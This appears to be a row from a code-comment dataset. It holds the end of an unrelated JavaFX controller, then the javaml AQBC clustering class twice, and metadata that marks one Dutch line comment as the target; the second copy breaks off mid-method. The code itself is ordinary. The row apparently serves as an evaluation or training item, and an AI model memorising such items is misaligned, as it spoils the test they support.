public Stage getStage() {
return stage;
}
public void setStage(Stage stage) {
this.stage = stage;
}
public void setWedstrijdUitslagTitel(Label wedstrijdUitslagTitel) {
this.wedstrijdUitslagTitel = wedstrijdUitslagTitel;
}
public void setThuisTeam(ComboBox<Team> thuisTeam) {
this.thuisTeam = thuisTeam;
}
public void setUitTeam(ComboBox<Team> uitTeam) {
this.uitTeam = uitTeam;
}
public void setScoreThuis(TextField scoreThuis) {
this.scoreThuis = scoreThuis;
}
public void setScoreUit(TextField scoreUit) {
this.scoreUit = scoreUit;
}
public void setUitslagAanmaken(Button uitslagAanmaken) {
this.uitslagAanmaken = uitslagAanmaken;
}
public void setCompetitieLabel(Label competitieLabel) {
this.competitieLabel = competitieLabel;
}
public void setCompetitie(ComboBox<Competitie> competitie) {
this.competitie = competitie;
}
public void setThuisTeamLabel(Label thuisTeamLabel) {
this.thuisTeamLabel = thuisTeamLabel;
}
public void setUitTeamLabel(Label uitTeamLabel) {
this.uitTeamLabel = uitTeamLabel;
}
public void setScoreThuisLabel(Label scoreThuisLabel) {
this.scoreThuisLabel = scoreThuisLabel;
}
public void setScoreUitLabel(Label scoreUitLabel) {
this.scoreUitLabel = scoreUitLabel;
}
public void setDatePicker(DatePicker datePicker) {
this.datePicker = datePicker;
}
public void setDatePickerLabel(Label datePickerLabel) {
this.datePickerLabel = datePickerLabel;
}
} |
2268_79 | /**
* %SVN.HEADER%
*/
package net.sf.javaml.clustering;
import java.util.Vector;
import net.sf.javaml.core.Dataset;
import net.sf.javaml.core.DefaultDataset;
import net.sf.javaml.core.DenseInstance;
import net.sf.javaml.core.Instance;
import net.sf.javaml.distance.DistanceMeasure;
import net.sf.javaml.distance.EuclideanDistance;
import net.sf.javaml.utils.GammaFunction;
import net.sf.javaml.utils.MathUtils;
import org.apache.commons.math.stat.descriptive.moment.Mean;
import org.apache.commons.math.stat.descriptive.moment.StandardDeviation;
/**
*
* This class implements the Adaptive Quality-based Clustering Algorithm, based
* on the implementation in MATLAB by De Smet et al., ESAT - SCD (SISTA),
* K.U.Leuven, Belgium.
*
* @author Thomas Abeel
*/
public class AQBC implements Clusterer {
private double RADNW;
private int E;
class TaggedInstance {
Instance inst;
private static final long serialVersionUID = 8990262697388049283L;
private int tag;
TaggedInstance(Instance i, int tag) {
this.inst = i;
this.tag = tag;
}
public int getTag() {
return tag;
}
}
private Dataset data;
private boolean normalize;
/**
* XXX write doc
*
* FIXME remove output on the console
*/
public Dataset[] cluster(Dataset data) {
this.data = data;
// dm=new NormalizedEuclideanDistance(data);
dm = new EuclideanDistance();
// Filter filter=new NormalizeMean();
// data=filter.filterDataset(data);
Vector<TaggedInstance> SP;
if (normalize)
SP = normalize(data);
else
SP = dontnormalize(data);
System.out.println("Remaining datapoints = " + SP.size());
// Vector<Instance> SP = new Vector<Instance>();
// for (int i = 0; i < norm.size(); i++) {
// SP.add(data.getInstance(i));
// }
int NRNOCONV = 0;
int maxNRNOCONV = 2;
int TOOFEWPOINTS = 0;
int TFPTH = 10;
int BPR = 0;
int RRES = 0;
int BPRTH = 10;
double REITERTHR = 0.1;
E = data.noAttributes();
if (E > 170)
throw new RuntimeException("AQBC is unable to work for more than 170 dimensions! This is a limitation of the Gamma function");
// int D = E - 2;
double R = Math.sqrt(E - 1);
double EXTTRESH = R / 2.0f;
int MINNRGENES = 2;
int cluster = 0;
while (NRNOCONV < maxNRNOCONV && TOOFEWPOINTS < TFPTH && BPR < BPRTH && RRES < 2) {
// determine cluster center
boolean clusterLocalisationConverged = wan_shr_adap(SP, EXTTRESH);
if (clusterLocalisationConverged) {
System.out.println("Found cluster -> EM");
// System.out.println("EXTTRESH2 = "+EXTTRESH2);
// optimize cluster quality
System.out.println("Starting EM");
boolean emConverged = exp_max(SP, ME, EXTTRESH2, S);
if (emConverged) {
System.out.println("EM converged, predicting radius...");
// System.exit(-1);
NRNOCONV = 0;
if (Math.abs(RADNW - EXTTRESH) / EXTTRESH < REITERTHR) {
Vector<TaggedInstance> Q = retrieveInstances(SP, ME, RADNW);
if (Q.size() == 0) {
System.err.println("Significance level not reached");
}
if (Q.size() > MINNRGENES) {
cluster++;
outputCluster(Q, cluster);
removeInstances(SP, Q);
TOOFEWPOINTS = 0;
EXTTRESH = RADNW;
} else {
removeInstances(SP, Q);
TOOFEWPOINTS++;
}
} else {
EXTTRESH = RADNW;
BPR++;
if (BPR == BPRTH) {
System.out.println("Radius cannot be predicted!");
} else {
System.out.println("Trying new radius...");
}
}
} else {
NRNOCONV++;
if (NRNOCONV < maxNRNOCONV) {
EXTTRESH = R / 2;
RRES++;
System.out.println("Resetting radius to: " + EXTTRESH);
if (RRES == 2) {
System.out.println("No convergence: Algorithm aborted - RRES exceeded!");
break;
} else {
BPR = 0;
}
} else {
System.out.println("No convergence: Algorithm aborted - NRNOCONV exceeded!");
break;
}
}
if (TOOFEWPOINTS == TFPTH) {
System.out.println("No more significant clusters found: Algorithms aborted!");
break;
}
}
}
Dataset[] output = new Dataset[clusters.size()];
for (int i = 0; i < clusters.size(); i++) {
output[i] = clusters.get(i);
}
return output;
}
/**
* Normalizes the data to mean 0 and standard deviation 1. This method
* discards all instances that cannot be normalized, i.e. they have the same
* value for all attributes.
*
* @param data
* @return
*/
private Vector<TaggedInstance> dontnormalize(Dataset data) {
Vector<TaggedInstance> out = new Vector<TaggedInstance>();
for (int i = 0; i < data.size(); i++) {
// Double[] old = data.instance(i).values().toArray(new Double[0]);
// double[] conv = new double[old.length];
// for (int j = 0; j < old.length; j++) {
// conv[j] = old[j];
// }
//
// Mean m = new Mean();
//
// double MU = m.evaluate(conv);
// // System.out.println("MU = "+MU);
// StandardDeviation std = new StandardDeviation();
// double SIGM = std.evaluate(conv, MU);
// System.out.println("SIGM = "+SIGM);
// if (!MathUtils.eq(SIGM, 0)) {
// double[] val = new double[old.length];
// for (int j = 0; j < old.length; j++) {
// val[j] = (float) ((old[j] - MU) / SIGM);
//
// }
// System.out.println("VAL "+i+" = "+Arrays.toString(val));
out.add(new TaggedInstance(data.instance(i), i));
// }
}
// System.out.println("FIRST = "+out.get(0));
return out;
}
/**
* Normalizes the data to mean 0 and standard deviation 1. This method
* discards all instances that cannot be normalized, i.e. they have the same
* value for all attributes.
*
* @param data
* @return
*/
private Vector<TaggedInstance> normalize(Dataset data) {
Vector<TaggedInstance> out = new Vector<TaggedInstance>();
for (int i = 0; i < data.size(); i++) {
Double[] old = data.instance(i).values().toArray(new Double[0]);
double[] conv = new double[old.length];
for (int j = 0; j < old.length; j++) {
conv[j] = old[j];
}
Mean m = new Mean();
double MU = m.evaluate(conv);
// System.out.println("MU = "+MU);
StandardDeviation std = new StandardDeviation();
double SIGM = std.evaluate(conv, MU);
// System.out.println("SIGM = "+SIGM);
if (!MathUtils.eq(SIGM, 0)) {
double[] val = new double[old.length];
for (int j = 0; j < old.length; j++) {
val[j] = (float) ((old[j] - MU) / SIGM);
}
// System.out.println("VAL "+i+" = "+Arrays.toString(val));
out.add(new TaggedInstance(new DenseInstance(val, data.instance(i).classValue()), i));
}
}
// System.out.println("FIRST = "+out.get(0));
return out;
}
/**
* Remove the instances in q from sp
*
* @param sp
* @param q
*/
private void removeInstances(Vector<TaggedInstance> sp, Vector<TaggedInstance> q) {
sp.removeAll(q);
}
/**
* XXX write doc
*
* @param significance
*/
public AQBC(double significance) {
this(significance, true);
}
/**
* XXX write doc
*
* default constructor
*/
public AQBC() {
this(0.95);
}
public AQBC(double sig, boolean normalize) {
this.normalize = normalize;
this.S = sig;
}
private Vector<Dataset> clusters = new Vector<Dataset>();
/**
* output all the instances in q as a single cluster with the given index
*
* The index is ignored.
*
* @param q
* @param cluster
*/
private void outputCluster(Vector<TaggedInstance> q, int index) {
Dataset tmp = new DefaultDataset();
for (TaggedInstance i : q) {
tmp.add(data.instance(i.getTag()));
}
clusters.add(tmp);
}
private DistanceMeasure dm;
private Vector<TaggedInstance> retrieveInstances(Vector<TaggedInstance> sp, double[] me2, double radnw2) {
Instance tmp = new DenseInstance(me2);
Vector<TaggedInstance> out = new Vector<TaggedInstance>();
for (TaggedInstance inst : sp) {
if (dm.measure(inst.inst, tmp) < radnw2)
out.add(inst);
}
return out;
}
// modifies: RADNW
private boolean exp_max(Vector<TaggedInstance> AS, double[] CK, double QUAL, double S) {
double D = E - 2;
double R = Math.sqrt(E - 1);
// System.out.println("CK= "+Arrays.toString(CK));
double[] RD = calculateDistances(AS, CK);
// System.out.println("RD = "+Arrays.toString(RD));
int samples = RD.length;
int MAXITER = 500;
double CDIF = 0.001;
double count = 0;// float sum = 0;
for (int i = 0; i < RD.length; i++) {
if (RD[i] < QUAL) {
count++;
// sum += RD[i];
}
}
// System.out.println("count = "+count);
// System.out.println("RD.length = "+RD.length);
double PC = count / RD.length;// sum / RD.length;
double PB = 1 - PC;
// System.out.println("PC = "+PC);
// System.out.println("PB = "+PB);
double tmpVAR = 0;
// double sum=0;
for (int i = 0; i < RD.length; i++) {
if (RD[i] < QUAL) {
// sum += RD[i];
tmpVAR += RD[i] * RD[i];
}
}
// System.out.println("sum = "+sum);
// System.out.println("tmpVAR = "+tmpVAR);
double VAR = (1 / D) * tmpVAR / count;
boolean CONV = false;
for (int i = 0; i < MAXITER && !CONV; i++) {
// System.out.println("\tEM iteration: "+i);
// System.out.println("\tVAR = "+VAR);
double[] prc = clusterdistrib(RD, VAR, D, R);
// System.out.println("PRC = "+Arrays.toString(prc));
double[] prb = background(RD, D, R);
double[] prcpc = new double[prc.length];
for (int j = 0; j < prc.length; j++) {
prcpc[j] = prc[j] * PC;
}
double[] prbpb = new double[prb.length];
for (int j = 0; j < prb.length; j++) {
prbpb[j] = prb[j] * PB;
}
double[] pr = new double[prcpc.length];
for (int j = 0; j < prc.length; j++) {
pr[j] = prcpc[j] + prbpb[j];
}
double[] pcr = new double[prcpc.length];
for (int j = 0; j < prc.length; j++) {
pcr[j] = prcpc[j] / pr[j];
}
double SM = 0;
for (int j = 0; j < prc.length; j++) {
SM += pcr[j];
}
// System.out.println("\tSM = "+SM);
if (MathUtils.eq(SM, 0) || Double.isInfinite(SM)) {
i = MAXITER;// will return from loop
}
float tmpVAR_new = 0;
for (int j = 0; j < prc.length; j++) {
tmpVAR_new += RD[j] * RD[j] * pcr[j];
}
// System.out.println("tmpVAR_new = "+tmpVAR_new);
double VAR_new = (1 / D) * tmpVAR_new / SM;
// System.out.println("PCR = "+Arrays.toString(pcr));
// System.out.println("\tVAR_new = "+VAR_new);
// System.out.println("\tPC = "+PC);
double PC_new = SM / samples;
// System.out.println("\tPC_new = "+PC_new);
double PB_new = 1 - PC_new;
if (Math.abs(VAR_new - VAR) < CDIF && Math.abs(PC_new - PC) < CDIF) {
CONV = true;
}
PC = PC_new;
PB = PB_new;
VAR = VAR_new;
}
if (CONV) {
if (MathUtils.eq(PC, 0) || MathUtils.eq(PB, 0)) {
System.out.println("EM: No or incorrect convergence! - PC==0 || PB==0");
CONV = false;
RADNW = 0;
return false;
}
double SD = (2 * Math.pow(Math.PI, D / 2)) / (GammaFunction.gamma(D / 2));
double SD1 = (2 * Math.pow(Math.PI, (D + 1) / 2)) / (GammaFunction.gamma((D + 1) / 2));
// System.out.println("SD = "+SD);
// System.out.println("SD1 = "+SD1);
double CC = SD * (1 / (Math.pow(2 * Math.PI * VAR, D / 2)));
double CB = (SD / (SD1 * Math.pow(Math.sqrt(D + 1), D)));
double LO = (S / (1 - S)) * ((PB * CB) / (PC * CC));
// System.out.println("PB = "+PB);
// System.out.println("PC = "+PC);
// System.out.println("S = "+S);
// System.out.println("CC = "+CC);
// System.out.println("CB = "+CB);
// System.out.println("LO = "+LO);
if (LO <= 0) {
System.out.println("EM: Impossible to calculate radius - LO<0!");
return false;
}
double DIS = -2 * VAR * Math.log(LO);
// System.out.println("DIS = "+DIS);
if (DIS <= 0) {
System.out.println("EM: Impossible to calculate radius - DIS<0!");
System.out.println();
return false;
}
RADNW = (float) Math.sqrt(DIS);
return true;
} else {
System.out.println("EM: No or incorrect convergence! Probably not enough iterations for EM");
return false;
}
}
/**
* implements background.m
*
* @param r
* @param D
* @param R
* @return
*/
private double[] background(double[] r, double D, double R) {
double SD = (2 * Math.pow(Math.PI, D / 2)) / (GammaFunction.gamma(D / 2));
double SD1 = (2 * Math.pow(Math.PI, (D + 1) / 2)) / (GammaFunction.gamma((D + 1) / 2));
double[] out = new double[r.length];
for (int i = 0; i < out.length; i++) {
out[i] = ((SD / (SD1 * (Math.pow(R, D)))) * (Math.pow(r[i], D - 1)));
}
return out;
}
/**
* implements clusterdistrib
*
* @param r
* @param VAR
* @param D
* @param R
* @return
*/
private double[] clusterdistrib(double[] r, double VAR, double D, double R) {
// System.out.println("\t\tCD:VAR = "+VAR);
// System.out.println("\t\tCD:D = "+D);
// System.out.println("\t\tCD:R = "+R);
// System.out.println("\t\tCD:r = "+Arrays.toString(r));
double[] out = new double[r.length];
if (MathUtils.eq(VAR, 0)) {
// System.out.println("\t\tCD: VAR is considered ZERO !!!");
for (int i = 0; i < r.length; i++) {
if (MathUtils.eq(r[i], 0)) {
out[i] = Float.POSITIVE_INFINITY;
}
}
} else {
double SD = (2 * Math.pow(Math.PI, D / 2)) / (GammaFunction.gamma(D / 2));
double tmp_piVAR = 2 * Math.PI * VAR;
double tmp_piVARpow = Math.pow(tmp_piVAR, D / 2);
double tmp_piVARpowINV = 1 / tmp_piVARpow;
// System.out.println("\t\tCD:SD = "+SD);
// System.out.println("\t\tCD:tmp_piVAR = "+tmp_piVAR);
// System.out.println("\t\tCD:tmp_piVARpow = "+tmp_piVARpow);
// System.out.println("\t\tCD:tmp_piVARpowINV = "+tmp_piVARpowINV);
for (int i = 0; i < r.length; i++) {
double tmp_exp = -((r[i] * r[i]) / (2 * VAR));
// System.out.println("\t\tMath.pow(r[i],D-1) =
// "+Math.pow(r[i],D-1));
// System.out.println("\t\tCD:tmp_exp = "+tmp_exp);
// System.out.println("\t\tCD:exp(tmp_exp) =
// "+Math.exp(tmp_exp));
out[i] = (float) (SD * tmp_piVARpowINV * Math.pow(r[i], D - 1) * Math.exp(tmp_exp));
}
for (int i = 0; i < r.length; i++) {
if (MathUtils.eq(r[i], 0))
out[i] = 1;
}
}
return out;
}
/**
* Comparable to dist_misval
*
* Calculates the distance between each instance and the instance given as a
* float array.
*
* @param as
* @param ck
* @return
*/
private double[] calculateDistances(Vector<TaggedInstance> as, double[] ck) {
// voor elke instance van AS, trek er CK van af
// return de sqrt van de som de kwadraten van de attributen van het
// verschil
double[] out = new double[as.size()];
for (int i = 0; i < as.size(); i++) {
Double[] values = as.get(i).inst.values().toArray(new Double[0]);
// float[]dif=new float[values.length];
float sum = 0;
for (int j = 0; j < values.length; j++) {
// dif[j]=
double dif = values[j] - ck[j];
sum += dif * dif;
}
out[i] = Math.sqrt(sum);
}
// Instance tmp=new SimpleInstance(ck);
// float[]out=new float[as.size()];
// for(int i=0;i<as.size();i++){
// out[i]=(float)dm.calculateDistance(tmp,as.get(i));
// }
return out;
}
// Significance level
private double S = 0.95f;
private double EXTTRESH2;
private double[] ME;
// modifies: CE,ME,EXTTRESH2
/**
* returns true if this step converged
*/
private boolean wan_shr_adap(Vector<TaggedInstance> A, double EXTTRESH) {
int samples = A.size();
double[] CE = new double[samples];
int MAXITER = 100;
double NRWAN = 30;
// System.out.println("FIRSTA = "+A.get(0));
double[] ME1 = mean(A);
// System.out.println("A = "+A);
// System.out.println("ME1 = " + Arrays.toString(ME1));
// System.out.println("EXTTRESH = "+EXTTRESH);
double[] DMI = calculateDistances(A, ME1);
// System.out.println("DMI = "+Arrays.toString(DMI));
double maxDMI = DMI[0];
double minDMI = DMI[0];
for (int i = 1; i < DMI.length; i++) {
if (DMI[i] > maxDMI)
maxDMI = DMI[i];
if (DMI[i] < minDMI)
minDMI = DMI[i];
}
EXTTRESH2 = maxDMI;
double MDIS = minDMI;
if (MathUtils.eq(MDIS, EXTTRESH2)) {
ME = ME1;
for (int i = 0; i < CE.length; i++)
CE[i] = 1;
EXTTRESH2 += 0.000001;
System.out.println("Cluster center localisation did not reach preliminary estimate of radius!");
return true;// TODO check if it should really be true, false is more
// logical
}
double DELTARAD = (EXTTRESH2 - EXTTRESH) / NRWAN;
double RADPR = EXTTRESH2;
EXTTRESH2 = EXTTRESH2 - DELTARAD;
if (EXTTRESH2 <= MDIS) {
EXTTRESH2 = (RADPR + MDIS) / 2;
}
Vector<Integer> Q = findLower(DMI, EXTTRESH2);
for (int i = 0; Q.size() != 0 && i < MAXITER; i++) {
double[] ME2 = mean(select(A, Q));
if (MathUtils.eq(ME1, ME2) && MathUtils.eq(RADPR, EXTTRESH2)) {
ME = ME2;
for (Integer index : Q) {
CE[index] = 1;
}
return true;
}
RADPR = EXTTRESH2;
DMI = calculateDistances(A, ME2);
if (EXTTRESH2 > EXTTRESH) {
EXTTRESH2 = Math.max(EXTTRESH, EXTTRESH2 - DELTARAD);
if (EXTTRESH2 < MathUtils.min(DMI)) {
EXTTRESH2 = RADPR;
}
}
Q = findLower(DMI, EXTTRESH2);
ME1 = ME2;
}
System.out.println("Preliminary cluster location did not converge");
// System.out.println("\t DMI = "+Arrays.toString(DMI));
System.out.println("\t EXTTRESH2 = " + EXTTRESH2);
return false;
}
/**
* return all the indices that are lower that the threshold
*
* @param array
* @param thres
* @return
*/
private Vector<Integer> findLower(double[] array, double threshold) {
Vector<Integer> out = new Vector<Integer>();
for (int i = 0; i < array.length; i++) {
if (array[i] < threshold)
out.add(i);
}
return out;
}
/**
* Return a vector with all instances that have their index in the indices
* vector.
*
* @param instances
* @param indices
* @return
*/
private Vector<TaggedInstance> select(Vector<TaggedInstance> instances, Vector<Integer> indices) {
Vector<TaggedInstance> out = new Vector<TaggedInstance>();
for (Integer index : indices) {
out.add(instances.get(index));
}
return out;
}
private double[] mean(Vector<TaggedInstance> a) {
double[] out = new double[a.get(0).inst.noAttributes()];
for (int i = 0; i < a.size(); i++) {
// System.out.println("Instance "+i+" = "+a.get(i));
for (int j = 0; j < a.get(0).inst.noAttributes(); j++)
out[j] += a.get(i).inst.value(j);
}
// System.out.println("OUT = "+Arrays.toString(out));
for (int j = 0; j < a.get(0).inst.noAttributes(); j++) {
out[j] /= a.size();
}
return out;
}
}
| AbeelLab/javaml | src/net/sf/javaml/clustering/AQBC.java | 7,361 | // return de sqrt van de som de kwadraten van de attributen van het | line_comment | nl | /**
* %SVN.HEADER%
*/
package net.sf.javaml.clustering;
import java.util.Vector;
import net.sf.javaml.core.Dataset;
import net.sf.javaml.core.DefaultDataset;
import net.sf.javaml.core.DenseInstance;
import net.sf.javaml.core.Instance;
import net.sf.javaml.distance.DistanceMeasure;
import net.sf.javaml.distance.EuclideanDistance;
import net.sf.javaml.utils.GammaFunction;
import net.sf.javaml.utils.MathUtils;
import org.apache.commons.math.stat.descriptive.moment.Mean;
import org.apache.commons.math.stat.descriptive.moment.StandardDeviation;
/**
*
* This class implements the Adaptive Quality-based Clustering Algorithm, based
* on the implementation in MATLAB by De Smet et al., ESAT - SCD (SISTA),
* K.U.Leuven, Belgium.
*
* @author Thomas Abeel
*/
public class AQBC implements Clusterer {
private double RADNW;
private int E;
class TaggedInstance {
Instance inst;
private static final long serialVersionUID = 8990262697388049283L;
private int tag;
TaggedInstance(Instance i, int tag) {
this.inst = i;
this.tag = tag;
}
public int getTag() {
return tag;
}
}
private Dataset data;
private boolean normalize;
/**
* XXX write doc
*
* FIXME remove output on the console
*/
public Dataset[] cluster(Dataset data) {
this.data = data;
// dm=new NormalizedEuclideanDistance(data);
dm = new EuclideanDistance();
// Filter filter=new NormalizeMean();
// data=filter.filterDataset(data);
Vector<TaggedInstance> SP;
if (normalize)
SP = normalize(data);
else
SP = dontnormalize(data);
System.out.println("Remaining datapoints = " + SP.size());
// Vector<Instance> SP = new Vector<Instance>();
// for (int i = 0; i < norm.size(); i++) {
// SP.add(data.getInstance(i));
// }
int NRNOCONV = 0;
int maxNRNOCONV = 2;
int TOOFEWPOINTS = 0;
int TFPTH = 10;
int BPR = 0;
int RRES = 0;
int BPRTH = 10;
double REITERTHR = 0.1;
E = data.noAttributes();
if (E > 170)
throw new RuntimeException("AQBC is unable to work for more than 170 dimensions! This is a limitation of the Gamma function");
// int D = E - 2;
double R = Math.sqrt(E - 1);
double EXTTRESH = R / 2.0f;
int MINNRGENES = 2;
int cluster = 0;
while (NRNOCONV < maxNRNOCONV && TOOFEWPOINTS < TFPTH && BPR < BPRTH && RRES < 2) {
// determine cluster center
boolean clusterLocalisationConverged = wan_shr_adap(SP, EXTTRESH);
if (clusterLocalisationConverged) {
System.out.println("Found cluster -> EM");
// System.out.println("EXTTRESH2 = "+EXTTRESH2);
// optimize cluster quality
System.out.println("Starting EM");
boolean emConverged = exp_max(SP, ME, EXTTRESH2, S);
if (emConverged) {
System.out.println("EM converged, predicting radius...");
// System.exit(-1);
NRNOCONV = 0;
if (Math.abs(RADNW - EXTTRESH) / EXTTRESH < REITERTHR) {
Vector<TaggedInstance> Q = retrieveInstances(SP, ME, RADNW);
if (Q.size() == 0) {
System.err.println("Significance level not reached");
}
if (Q.size() > MINNRGENES) {
cluster++;
outputCluster(Q, cluster);
removeInstances(SP, Q);
TOOFEWPOINTS = 0;
EXTTRESH = RADNW;
} else {
removeInstances(SP, Q);
TOOFEWPOINTS++;
}
} else {
EXTTRESH = RADNW;
BPR++;
if (BPR == BPRTH) {
System.out.println("Radius cannot be predicted!");
} else {
System.out.println("Trying new radius...");
}
}
} else {
NRNOCONV++;
if (NRNOCONV < maxNRNOCONV) {
EXTTRESH = R / 2;
RRES++;
System.out.println("Resetting radius to: " + EXTTRESH);
if (RRES == 2) {
System.out.println("No convergence: Algorithm aborted - RRES exceeded!");
break;
} else {
BPR = 0;
}
} else {
System.out.println("No convergence: Algorithm aborted - NRNOCONV exceeded!");
break;
}
}
if (TOOFEWPOINTS == TFPTH) {
System.out.println("No more significant clusters found: Algorithms aborted!");
break;
}
}
}
Dataset[] output = new Dataset[clusters.size()];
for (int i = 0; i < clusters.size(); i++) {
output[i] = clusters.get(i);
}
return output;
}
/**
* Normalizes the data to mean 0 and standard deviation 1. This method
* discards all instances that cannot be normalized, i.e. they have the same
* value for all attributes.
*
* @param data
* @return
*/
private Vector<TaggedInstance> dontnormalize(Dataset data) {
Vector<TaggedInstance> out = new Vector<TaggedInstance>();
for (int i = 0; i < data.size(); i++) {
// Double[] old = data.instance(i).values().toArray(new Double[0]);
// double[] conv = new double[old.length];
// for (int j = 0; j < old.length; j++) {
// conv[j] = old[j];
// }
//
// Mean m = new Mean();
//
// double MU = m.evaluate(conv);
// // System.out.println("MU = "+MU);
// StandardDeviation std = new StandardDeviation();
// double SIGM = std.evaluate(conv, MU);
// System.out.println("SIGM = "+SIGM);
// if (!MathUtils.eq(SIGM, 0)) {
// double[] val = new double[old.length];
// for (int j = 0; j < old.length; j++) {
// val[j] = (float) ((old[j] - MU) / SIGM);
//
// }
// System.out.println("VAL "+i+" = "+Arrays.toString(val));
out.add(new TaggedInstance(data.instance(i), i));
// }
}
// System.out.println("FIRST = "+out.get(0));
return out;
}
/**
* Normalizes the data to mean 0 and standard deviation 1. This method
* discards all instances that cannot be normalized, i.e. they have the same
* value for all attributes.
*
* @param data
* @return
*/
private Vector<TaggedInstance> normalize(Dataset data) {
Vector<TaggedInstance> out = new Vector<TaggedInstance>();
for (int i = 0; i < data.size(); i++) {
Double[] old = data.instance(i).values().toArray(new Double[0]);
double[] conv = new double[old.length];
for (int j = 0; j < old.length; j++) {
conv[j] = old[j];
}
Mean m = new Mean();
double MU = m.evaluate(conv);
// System.out.println("MU = "+MU);
StandardDeviation std = new StandardDeviation();
double SIGM = std.evaluate(conv, MU);
// System.out.println("SIGM = "+SIGM);
if (!MathUtils.eq(SIGM, 0)) {
double[] val = new double[old.length];
for (int j = 0; j < old.length; j++) {
val[j] = (float) ((old[j] - MU) / SIGM);
}
// System.out.println("VAL "+i+" = "+Arrays.toString(val));
out.add(new TaggedInstance(new DenseInstance(val, data.instance(i).classValue()), i));
}
}
// System.out.println("FIRST = "+out.get(0));
return out;
}
/**
* Remove the instances in q from sp
*
* @param sp
* @param q
*/
private void removeInstances(Vector<TaggedInstance> sp, Vector<TaggedInstance> q) {
sp.removeAll(q);
}
/**
* XXX write doc
*
* @param significance
*/
public AQBC(double significance) {
this(significance, true);
}
/**
* XXX write doc
*
* default constructor
*/
public AQBC() {
this(0.95);
}
public AQBC(double sig, boolean normalize) {
this.normalize = normalize;
this.S = sig;
}
private Vector<Dataset> clusters = new Vector<Dataset>();
/**
* output all the instances in q as a single cluster with the given index
*
* The index is ignored.
*
* @param q
* @param cluster
*/
private void outputCluster(Vector<TaggedInstance> q, int index) {
Dataset tmp = new DefaultDataset();
for (TaggedInstance i : q) {
tmp.add(data.instance(i.getTag()));
}
clusters.add(tmp);
}
private DistanceMeasure dm;
private Vector<TaggedInstance> retrieveInstances(Vector<TaggedInstance> sp, double[] me2, double radnw2) {
Instance tmp = new DenseInstance(me2);
Vector<TaggedInstance> out = new Vector<TaggedInstance>();
for (TaggedInstance inst : sp) {
if (dm.measure(inst.inst, tmp) < radnw2)
out.add(inst);
}
return out;
}
// modifies: RADNW
private boolean exp_max(Vector<TaggedInstance> AS, double[] CK, double QUAL, double S) {
double D = E - 2;
double R = Math.sqrt(E - 1);
// System.out.println("CK= "+Arrays.toString(CK));
double[] RD = calculateDistances(AS, CK);
// System.out.println("RD = "+Arrays.toString(RD));
int samples = RD.length;
int MAXITER = 500;
double CDIF = 0.001;
double count = 0;// float sum = 0;
for (int i = 0; i < RD.length; i++) {
if (RD[i] < QUAL) {
count++;
// sum += RD[i];
}
}
// System.out.println("count = "+count);
// System.out.println("RD.length = "+RD.length);
double PC = count / RD.length;// sum / RD.length;
double PB = 1 - PC;
// System.out.println("PC = "+PC);
// System.out.println("PB = "+PB);
double tmpVAR = 0;
// double sum=0;
for (int i = 0; i < RD.length; i++) {
if (RD[i] < QUAL) {
// sum += RD[i];
tmpVAR += RD[i] * RD[i];
}
}
// System.out.println("sum = "+sum);
// System.out.println("tmpVAR = "+tmpVAR);
double VAR = (1 / D) * tmpVAR / count;
boolean CONV = false;
for (int i = 0; i < MAXITER && !CONV; i++) {
// System.out.println("\tEM iteration: "+i);
// System.out.println("\tVAR = "+VAR);
double[] prc = clusterdistrib(RD, VAR, D, R);
// System.out.println("PRC = "+Arrays.toString(prc));
double[] prb = background(RD, D, R);
double[] prcpc = new double[prc.length];
for (int j = 0; j < prc.length; j++) {
prcpc[j] = prc[j] * PC;
}
double[] prbpb = new double[prb.length];
for (int j = 0; j < prb.length; j++) {
prbpb[j] = prb[j] * PB;
}
double[] pr = new double[prcpc.length];
for (int j = 0; j < prc.length; j++) {
pr[j] = prcpc[j] + prbpb[j];
}
double[] pcr = new double[prcpc.length];
for (int j = 0; j < prc.length; j++) {
pcr[j] = prcpc[j] / pr[j];
}
double SM = 0;
for (int j = 0; j < prc.length; j++) {
SM += pcr[j];
}
// System.out.println("\tSM = "+SM);
if (MathUtils.eq(SM, 0) || Double.isInfinite(SM)) {
i = MAXITER;// will return from loop
}
float tmpVAR_new = 0;
for (int j = 0; j < prc.length; j++) {
tmpVAR_new += RD[j] * RD[j] * pcr[j];
}
// System.out.println("tmpVAR_new = "+tmpVAR_new);
double VAR_new = (1 / D) * tmpVAR_new / SM;
// System.out.println("PCR = "+Arrays.toString(pcr));
// System.out.println("\tVAR_new = "+VAR_new);
// System.out.println("\tPC = "+PC);
double PC_new = SM / samples;
// System.out.println("\tPC_new = "+PC_new);
double PB_new = 1 - PC_new;
if (Math.abs(VAR_new - VAR) < CDIF && Math.abs(PC_new - PC) < CDIF) {
CONV = true;
}
PC = PC_new;
PB = PB_new;
VAR = VAR_new;
}
if (CONV) {
if (MathUtils.eq(PC, 0) || MathUtils.eq(PB, 0)) {
System.out.println("EM: No or incorrect convergence! - PC==0 || PB==0");
CONV = false;
RADNW = 0;
return false;
}
double SD = (2 * Math.pow(Math.PI, D / 2)) / (GammaFunction.gamma(D / 2));
double SD1 = (2 * Math.pow(Math.PI, (D + 1) / 2)) / (GammaFunction.gamma((D + 1) / 2));
// System.out.println("SD = "+SD);
// System.out.println("SD1 = "+SD1);
double CC = SD * (1 / (Math.pow(2 * Math.PI * VAR, D / 2)));
double CB = (SD / (SD1 * Math.pow(Math.sqrt(D + 1), D)));
double LO = (S / (1 - S)) * ((PB * CB) / (PC * CC));
// System.out.println("PB = "+PB);
// System.out.println("PC = "+PC);
// System.out.println("S = "+S);
// System.out.println("CC = "+CC);
// System.out.println("CB = "+CB);
// System.out.println("LO = "+LO);
if (LO <= 0) {
System.out.println("EM: Impossible to calculate radius - LO<0!");
return false;
}
double DIS = -2 * VAR * Math.log(LO);
// System.out.println("DIS = "+DIS);
if (DIS <= 0) {
System.out.println("EM: Impossible to calculate radius - DIS<0!");
System.out.println();
return false;
}
RADNW = (float) Math.sqrt(DIS);
return true;
} else {
System.out.println("EM: No or incorrect convergence! Probably not enough iterations for EM");
return false;
}
}
/**
* implements background.m
*
* @param r
* @param D
* @param R
* @return
*/
private double[] background(double[] r, double D, double R) {
double SD = (2 * Math.pow(Math.PI, D / 2)) / (GammaFunction.gamma(D / 2));
double SD1 = (2 * Math.pow(Math.PI, (D + 1) / 2)) / (GammaFunction.gamma((D + 1) / 2));
double[] out = new double[r.length];
for (int i = 0; i < out.length; i++) {
out[i] = ((SD / (SD1 * (Math.pow(R, D)))) * (Math.pow(r[i], D - 1)));
}
return out;
}
/**
* implements clusterdistrib
*
* @param r
* @param VAR
* @param D
* @param R
* @return
*/
private double[] clusterdistrib(double[] r, double VAR, double D, double R) {
// System.out.println("\t\tCD:VAR = "+VAR);
